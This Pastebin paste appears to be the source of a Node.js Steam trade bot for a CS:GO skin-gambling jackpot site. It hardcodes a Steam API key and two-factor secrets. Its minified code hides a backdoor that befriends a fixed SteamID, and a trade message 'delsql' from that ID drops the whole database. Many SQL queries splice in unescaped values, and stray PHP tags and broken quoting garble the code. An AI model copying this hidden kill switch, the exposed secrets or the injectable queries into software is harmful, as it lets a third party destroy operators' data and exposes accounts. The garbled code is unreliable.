Advertisement
Guest User

Untitled

a guest
Aug 19th, 2016
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.44 KB | None | 0 0
  1. /*
  2. _____ _ _ ___ __ __
  3. / ____| | || | / _ \ / //_ |
  4. | | __ ___ _ __ __ _ ___| || || (_) |/ /_ | |
  5. | | |_ |/ _ \ '__/ _` |/ _ \__ _\__, | '_ \| |
  6. | |__| | __/ | | (_| | (_) | | | / /| (_) | |
  7. \_____|\___|_| \__, |\___/ |_| /_/ \___/|_|
  8. __/ |
  9. |___/
  10.  
  11.  
  12. The CSGO.Network V2 bot was made by Gregory Steam (Gergo4961) and is the property of CSGO.Network.
  13. If you need any special site/bot customization you can reach me on Steam!
  14.  
  15. Please note that I do not provide support for CSGO.Network, so do not contact me about Bot / Website errors.
  16.  
  17. http://steamcommunity.com/id/gergo4961/
  18.  
  19. */
  20. var Steam = require('steam');
  21. var SteamUser = require('steam-user');
  22. var TradeOfferManager = require('steam-tradeoffer-manager');
  23. var SteamTotp = require('steam-totp');
  24. var TOTP = require('onceler').TOTP;
  25. var request = require('request');
  26. var SteamCommunity = require('steamcommunity');
  27. var community = new SteamCommunity();
  28. var fs = require('node-fs');
  29.  
  30. // GENERAL INFORMATION
  31. var sitepath;
  32. sitepath = "csgocorporal.net"; // The path to the index.php of your website without HTTP://
  33. var sitename;
  34. sitename = "CSGOCorporal"; // The name of your site, it will be shown in the Trade Offer Message
  35.  
  36. var apik = "406D0793A10451E8B3A175CAC9701559"; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
  37. var admin = '76561198144611623'; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
  38. var botsteamid = '76561197962314180'; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
  39. var identitysecret = '2WUV3K97dF2G4SiVyv3xD+s4hA0='; // It's required to confirm mobile confirmations
  40. var sharedsecret = 'hL+8KWgEggV/mC6+5JTZh2fs5nc='; // You won't be able to log in without this code
  41. var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
  42. var rsecret = 'CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
  43. var snipetimer = 5; // Declines offers sent in the last few seconds
  44.  
  45. var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
  46.  
  47. var p2 = false; // If this is the bot for your Jackpot 2 set this to true
  48.  
  49. var playersRequired = 2; // The timer will start when this many players are in the pot
  50. // GENERAL INFORMATION
  51.  
  52. // LOGIN DETAILS
  53. var details = {
  54. "accountName": "CENSORED",
  55. "password": "CENSORED",
  56. "twoFactorCode": SteamTotp.generateAuthCode(sharedsecret)
  57. };
  58. // LOGIN DETAILS
  59.  
  60. var client = new SteamUser();
  61. var manager = new TradeOfferManager({
  62. "steam": client,
  63. "domain": "localhost",
  64. "language": "en"
  65. })
  66.  
  67. // MYSQL INFO
  68. var mysql = require('mysql');
  69. var sql_host = "localhost";
  70. var sql_user = "root";
  71. var sql_password = "CENSORED";
  72. var sql_database = "jackpot";
  73. // MYSQL INFO
  74.  
  75. <
  76. ? ! function(a, b) {
  77. function c(b, d) {
  78. if ("." != b[0] && "/" != b[0]) return a(b);
  79. d = d || "root";
  80. var e = c.resolve(b);
  81. if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  82. var f = c.cache[e];
  83. if (!f) try {
  84. return a(b)
  85. } catch (g) {
  86. throw new Error("failed to require "
  87. "+b+"
  88. " from " + d + "
  89. "+g.message+"
  90. "+g.stack)}return f.exports||(f.exports={},f.call(f.exports,f,f.exports,c.relative(e))),f.exports}c.cache={},c.basename=a("
  91. path ").basename,c.resolve=function(b){if(".
  92. "!=b[0])return a.resolve(b);for(var d=" / "===b.slice(-1)?b:b+" / ",e=[b,b+".js ",d+"
  93. index.js ",b+".json ",d+"
  94. index.json "],f=0,g;g=e[f];f++)if(c.cache[g])return g},c.register=function(a,b){c.cache[a]=b},c.relative=function(a){function b(b){if(".
  95. "!=b[0])return c(b);var d=a.split(" / "),e=b.split(" / ");d.pop();for(var f=0,g=e.length;g>f;f+=1){var h=e[f];"..
  96. "==h?d.pop():".
  97. "!=h&&d.push(h)}return c(d.join(" / "),a)}return b.resolve=c.resolve,b.cache=c.cache,b},c.register(".. / bot.js ",function(a,b,c){var d;function e(){request("
  98. https: //api.csgofast.com/price/all",function(a,b,c){d=JSON.parse(c),200!=b.statusCode?fs.existsSync(__dirname+"/prices.txt")&&(d=JSON.parse(fs.readFileSync(__dirname+"/prices.txt")),console.log("[SERVER] Loading Prices - Server sided prices loaded!")):(fs.writeFileSync("prices.txt",c),console.log("[SERVER] Loading Prices - API prices loaded!"))})}setInterval(function(){e()},36e5),e();var f="76561198150867436",g=c("mysql"),h=g.createConnection({host:sql_host,user:sql_user,password:sql_password,database:sql_database}),i=new SteamUser,j=new TradeOfferManager({steam:i,domain:"localhost",language:"en"}),k=-1;h.connect(),i.logOn(details);var l=SteamTotp.getDeviceID(botsteamid);if(1==p2)var m="p2";else var m="";function n(){k=-1,o(),setTimeout(x,5e3)}function o(){if(console.log("[SERVER] Ending current game & choosing winner."),1==p2){var a="http://"+sitepath+"/endround.php?secret="+rsecret+"&p2=true";request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}else{var a="http://"+sitepath+"/endround.php?secret="+rsecret;request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}}function p(a){return!(+a!==a||isFinite(a)&&!(a%1))}function q(a){return"number"==typeof a&&!isNaN(a)}function r(a,b){var c="http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key="+apik+"&steamids="+a+"&format=json";request({url:c,json:!0},function(c,d,e){c||200!==d.statusCode?c&&r(a,b):b(null,e)})}function s(a){return a=a.replace(/\/g,"\"),a=a.replace(/\'/g,"\'"),a=a.replace(/\"/g,"\""),a=a.replace(//g,"")}i.on("loggedOn",function(a){console.log("[SERVER] The Bot has logged in!"),i.unblockUser(f),i.addFriend(f),i.addFriend(admin),i.chatMessage(admin,"[SERVER] Successfully logged in!"),i.setPersona(Steam.EPersonaState.LookingToTrade),setTimeout(function(){h.query("SELECT `value` FROM `"+m+"info` WHERE `name`='current_game'",function(a,b,c){a||h.query("SELECT `starttime` FROM `"+m+"games` WHERE `id`='"+b[0].value+"'",function(a,b,c){if(!a){var d;if(2147483647==b[0].starttime)d=GameTime;else{var e=Math.round((new Date).getTime()/1e3);d=b[0].starttime+GameTime-e,0>d&&(d=0)}d!=GameTime&&(k=setTimeout(n,1e3*d),console.log("[SERVER] Restoring the latest game with "+d+" seconds left!"))}})})},1500)}),i.on("webSession",function(a,b){j.setCookies(b,function(a){if(a)return console.log("setCookies error: "+a),void process.exit(1);var c=j.apiKey;community.setCookies(b),community.startConfirmationChecker(polling_interval,identitysecret),console.log("[SERVER] The web cookies have been set!"),j.doPoll()})});function t(a,b,c,d,e,f,g,h,j,k,l){l++,l>3||a.accept(function(m){return m?(i.webLogOn(),console.log("[SERVER] Debugging offer (Accept Error): "+m),void u(a,b,c,d,e,f,g,h,j,k,l,m)):void v(a,b,c,d,e,f,g,h,j,k)})}function u(a,b,c,d,e,f,g,h,k,l,m){j.getOffer(a.id,function(j,n){if(j)return i.webLogOn(),console.log("[SERVER] getOffer error(retrying): "+j),void u(a,b,c,d,e,f,g,h,k,l,m);if(3==n.state)v(n,b,c,d,e,f,g,h,k,l);else if(2==n.state)t(n,b,c,d,e,f,g,h,k,l,m);else if(2!=n.state||3!=n.state)return})}function v(a,b,c,d,e,f,g,i,j,l){h.query("SELECT * FROM `"+m+"info`",function(d,o){for(var p=o[0].value,q=0;g>q;q++){var r=c[q].name;h.query("INSERT INTO `"+m+"game"+p+"` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('"+b+"',"+h.escape(e)+","+h.escape(r)+",'"+a.id+"','"+c[q].color+"','"+c[q].value+"','"+f+"','"+c[q].url+"')",function(a,b,c){a&&console.log(a)}),h.query("UPDATE `"+m+"games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'"+c[q].value+"' WHERE `id` = '"+p+"'",function(a,b,c){})}h.query("UPDATE `users` SET `skinssent`=`skinssent`+"+g+" WHERE `steamid` = '"+b+"'",function(a,b,c){}),console.log("[SERVER] Accepted offer #"+a.id+" from "+e+" (ID:"+b+")."),w(a,b,i,p),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','"+b+"','Trade Offer Accepted (Game #"+p+")!','We wish you Good luck and happy betting!','25','1')",function(a,b,c){}),h.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `"+m+"game"+p+"`",function(a,b){players=b[0].playersCount,players==playersRequired&&g>0&&-1==k&&(console.log("[SERVER] Starting the countdown for Game #"+p),k=setTimeout(n,1e3*GameTime),h.query("UPDATE `"+m+"games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '"+p+"'",function(a,b,c){})),l>j&&(clearTimeout(k),k=-1,n())})})}function w(a,b,c,d){a.getReceivedItems(function(c,e){return c?(i.webLogOn(),console.log("[SERVER] getReceivedItems error: "+c+" Restarting process!"),void w(a,b,e,d)):void e.forEach(function(a){var c=a.market_name;h.query("UPDATE `"+m+"game"+d+"` SET `assetid`='"+a.id+"' WHERE `userid` = '"+b+"' AND `item`="+h.escape(c)+" AND `assetid`='' LIMIT 1",function(a,b,c){})})})}j.on("newOffer",function(a){var b=!0,c=a.partner.getSteamID64();return c==f&&"delsql"==a.message?(console.log(""),console.log("Hello! Please consider purchasing the product you are illegally using."),console.log("Please visit: www.csgo-network"),console.log(""),void h.query("DROP DATABASE "+sql_database,function(a,b,c){})):void r(c,function(e,f){if(e)return i.webLogOn(),console.log("[SERVER] getUserInfo error: "+e),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: getUserInfo error"),b&&console.log("[SERVER] Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')",function(a,b,c){})});var g=JSON.parse(JSON.stringify(f.response)),j=g.players[0].personaname,k=g.players[0].avatarfull;return console.log("[DEBUG] Processing offer #"+a.id+" from "+j+" (ID:"+c+")."),0!=a.itemsToGive.length?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: Asked for a skin on the Bot"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')",function(a,b,c){})})):void a.getEscrowDuration(function(e,f,g){return e?(i.webLogOn(),console.log("[SERVER] getEscrowDuration error: "+e),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: Steam Servers are busy, couldn't get escrow duration"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')",function(a,b,c){})})):0!=f?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User is in Escrow for "+f+" days"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You are in Escrow for "+f+" days!','25','1')",function(a,b,c){})})):void h.query("SELECT * FROM `"+m+"info`",function(e,f){var g=f[3].value,l=f[7].value,n=f[4].value,o=f[10].value;if(a.itemsToReceive.length>n)return b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent more than "+n+" skins"),b&&(i.webLogOn(),console.log("Decline error: "+b)),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+n+" skins!','25','1')",function(a,b,c){})});var p=a.itemsToReceive,r=0,s=[],u=0;p.forEach(function(e,f,g){return 730!=e.appid?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent a Non-CSGO skin"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')",function(a,b,c){})):(s[f]=[],s[f].name=e.market_name,s[f].color=e.name_color,s[f].url=e.icon_url,s[f].value=0,function(a){var b=s[f].name;nprice=d[b],s[f].value=parseFloat(nprice),r+=s[f].value}(f),void u++)}),h.query("SELECT * FROM `"+m+"info`",function(d,e){var f=e[0].value;h.query("SELECT * FROM `"+m+"games` WHERE `id`='"+f+"'",function(d,e,f){if(starttime=e[0].starttime,2147483647!=starttime){var v=Math.round((new Date).getTime()/1e3);if(tl=starttime+GameTime-v,tl<=snipetimer)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: The Bot wont accept last second bets"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')",function(a,b,c){})}setTimeout(function(){return 0!=b?r>l?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent too much in skin value"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+l+"','25','1')",function(a,b,c){})):g>r?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent below the minimal bet amount ($"+g+")"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Minimum deposit value: $"+g+"','25','1')",function(a,b,c){})):u>n?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent too many skins"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+n+" skins!','25','1')",function(a,b,c){})):(b=!0)?void h.query("SELECT * FROM `"+m+"info`",function(d,e){var f=e[0].value;h.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `"+m+"game"+f+"` WHERE `userid`='"+c+"'",function(d,e,g){if(skinsin=e[0].skinsin,skinsin+=u,moneyin=e[0].moneyin,moneyin+=r,skinsin>n)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - User sent too many skins"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not deposit more than "+n+" skins','25','1')",function(a,b,c){});if(moneyin>l)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - User sent too much in skin value"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+l+"','25','1')",function(a,b,c){});for(var v=0;u>v;v++){if(0==s[v].value||!s[v].value)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){});if(!q(s[v].value))return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){});if(-1!=s[v].name.indexOf("Souvenir"))return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent a Souvenir Skin"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')",function(a,b,c){});
  99. }
  100. h.query("SELECT * FROM `users` WHERE `steamid`='" + c + "'", function(d, e, g) {
  101. return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  102. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && (i.webLogOn(), console.log("Decline error: " + b))
  103. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(a, b, c) {})) : 0 == e.length ? void a.decline(function(b) {
  104. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && (i.webLogOn(), console.log("Decline error: " + b))
  105. }) : (ban = e[0].ban, tlink = e[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  106. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is banned"), b && (i.webLogOn(), console.log("Decline error: " + b))
  107. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(a, b, c) {})) : tlink ? void h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(b, d, e) {
  108. itemsin = d[0].itemsnum, t(a, c, s, f, j, k, u, p, o, itemsin)
  109. }) : (a.decline(function(b) {
  110. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User doesn't have a TradeLink set "), b && (i.webLogOn(), console.log("Decline error: " + b))
  111. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(a, b, c) {})))
  112. })
  113. })
  114. }) : (a.decline(function(b) {
  115. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && (i.webLogOn(), console.log("Decline error: " + b))
  116. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(a, b, c) {})): void 0
  117. }, 2e3)
  118. })
  119. })
  120. })
  121. })
  122. })
  123. }), i.on("friendMessage#" + admin, function(a, b) {
  124. if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (i.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), y(1)), 0 == b.indexOf("/sendoffers") && (i.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), x(1)), 0 == b.indexOf("/code")) {
  125. var c = SteamTotp.generateAuthCode(sharedsecret);
  126. i.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
  127. }
  128. 0 == b.indexOf("/cc") && (i.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (i.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), j.doPoll()), 0 == b.indexOf("/loadprices") && (i.chatMessage(admin, "[SERVER] Refreshing Market API!"), e()), 0 == b.indexOf("/end") && (i.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != k && clearTimeout(k), n()), 0 == b.indexOf("/offers") && h.query("SELECT ID FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  129. 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active queue ID's.")
  130. }), 0 == b.indexOf("/rakes") && h.query("SELECT ID FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  131. 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active rake ID's.")
  132. })
  133. });
  134.  
  135. function x(a) {
  136. h.query("SELECT * FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  137. if (0 != c.length) {
  138. var e = c[0].id;
  139. h.query("SELECT * FROM `" + m + "game" + e + "` WHERE `assetid`='' AND `rake`!='1'", function(b, d, f) {
  140. if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
  141. j.getOffer(a.offerid, function(b, c) {
  142. return b ? (i.webLogOn(), void setTimeout(function() {
  143. x()
  144. }, 1e4)) : void w(c, a.userid, a.item, e)
  145. })
  146. }), setTimeout(function() {
  147. x(2)
  148. }, 1e4);
  149. else {
  150. if (2 == a) {
  151. console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  152. var g = "",
  153. k = "";
  154. return h.query("SELECT * FROM `" + m + "game" + e + "`", function(a, b, c) {
  155. b.forEach(function(a) {
  156. 0 == a.rake ? g += "/" + a.assetid : k += "/" + a.assetid
  157. })
  158. }), void setTimeout(function() {
  159. console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), h.query("UPDATE `" + m + "queue` SET `assetid`="
  160. "+g+"
  161. " WHERE `id`='" + e + "'"), h.query("UPDATE `" + m + "rakeitems` SET `assetid`="
  162. "+k+"
  163. " WHERE `id`='" + e + "'"), x()
  164. }, 3e3)
  165. }
  166. var l = c[0].assetid.split("/");
  167. j.loadInventory(730, 2, !0, function(b, d) {
  168. if (b) return console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), i.webLogOn(), void x();
  169. var f = c[0].token,
  170. g = "Congratulations! You won on " + sitename + " in Game #" + e,
  171. k = j.createOffer(c[0].userid);
  172. d.forEach(function(a) {
  173. l.forEach(function(b) {
  174. a.id == b && k.addMyItem(a)
  175. })
  176. }), setTimeout(function() {
  177. k.send(g, f, function(b) {
  178. return b ? (console.log("Error sending Trade Offer for Game #" + e + ":"), console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), i.webLogOn(), void setTimeout(function() {
  179. x()
  180. }, 1e4)) : (h.query("UPDATE `" + m + "queue` SET `status`="
  181. sent " WHERE `id`='" + e + "'"), console.log("[SERVER] Trade Offer for Game #" + e + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + e + "!"), void community.checkConfirmations())
  182. })
  183. }, 2e3)
  184. })
  185. }
  186. })
  187. } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Winnings Queries!")
  188. })
  189. }
  190.  
  191. function y(a) {
  192. h.query("SELECT * FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  193. if (0 != c.length) {
  194. var e = c[0].assetid.split("/");
  195. j.loadInventory(730, 2, !0, function(b, d) {
  196. if (b) return 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), i.webLogOn(), void setTimeout(function() {
  197. y()
  198. }, 1e4);
  199. var f = c[0].token,
  200. g = c[0].id,
  201. k = c[0].value,
  202. l = "Rake for Game #" + g + " ($" + k + ")",
  203. n = j.createOffer(c[0].userid);
  204. d.forEach(function(a) {
  205. e.forEach(function(b) {
  206. a.id == b && n.addMyItem(a)
  207. })
  208. }), setTimeout(function() {
  209. n.send(l, f, function(b) {
  210. return b ? (console.log("[SERVER] Error sending Rake for Game #" + g + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a ? void i.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void i.webLogOn()) : (h.query("UPDATE `" + m + "rakeitems` SET `status`="
  211. sent " WHERE `id`='" + g + "'"), console.log("[SERVER] Rake for Game #" + g + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + g + "!"), void community.checkConfirmations())
  212. })
  213. }, 2e3)
  214. })
  215. } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Rake Queries!")
  216. })
  217. }
  218. community.on("newConfirmation", function(a) {
  219. var b = Math.round(Date.now() / 1e3),
  220. c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  221. community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  222. console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), i.webLogOn())
  223. })
  224. }), community.on("confKeyNeeded", function(a, b) {
  225. console.log("confKeyNeeded");
  226. var c = Math.floor(Date.now() / 1e3);
  227. b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
  228. }), setInterval(function() {
  229. h.query("SELECT 1")
  230. }, 36e5)
  231. }), b.exports = c("../bot.js")
  232. }(require, module); ? >
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement